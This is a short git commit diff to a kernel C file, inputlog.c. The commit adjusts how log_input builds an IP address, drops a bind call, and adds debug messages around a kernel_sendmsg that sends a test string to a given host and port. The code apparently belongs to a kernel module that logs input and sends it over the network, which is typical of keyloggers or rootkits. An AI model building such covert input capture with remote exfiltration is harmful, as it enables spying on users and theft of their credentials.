commit a92e2f6a1c55a97eec999c6e5767d49874ec2f85
parent c353e84297f8daff493c28bbe9a474f1f2657133
Author: deurzen <m.deurzen@tum.de>
Date: Sat, 12 Dec 2020 05:05:43 +0100
adds debug code
Diffstat:
1 file changed, 4 insertions(+), 8 deletions(-)
diff --git a/src/inputlog.c b/src/inputlog.c
@@ -34,19 +34,15 @@ log_input(const char *ip, const char *port)
ip_ul = 0;
for (i = 0; i < 4; ++i)
- ip_ul += (ip_quad[i] & 0xFF) << (8 * i);
+ ip_ul |= (ip_quad[3 - i] & 0xFF) << (8 * i);
}
+ DEBUG_INFO("reference %lu, ours %lu\n", ((127 << 24) | (0 << 16) | (0 << 8) | (1)), ip_ul);
+
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(ip_ul);
addr.sin_port = htons(port_ul);
- if (kernel_bind(sock, (struct sockaddr *)&addr, sizeof(addr))) {
- sock_release(sock);
- sock = NULL;
- return;
- }
-
char *buf = "test";
iov.iov_base = buf;
iov.iov_len = strlen(buf);
@@ -59,7 +55,7 @@ log_input(const char *ip, const char *port)
size = kernel_sendmsg(sock, &msg, &iov, 1, strlen(buf));
if (size > 0)
- DEBUG_INFO("sent %d bytes\n", size);
+ DEBUG_INFO("[g7] sent %d bytes\n", size);
}
void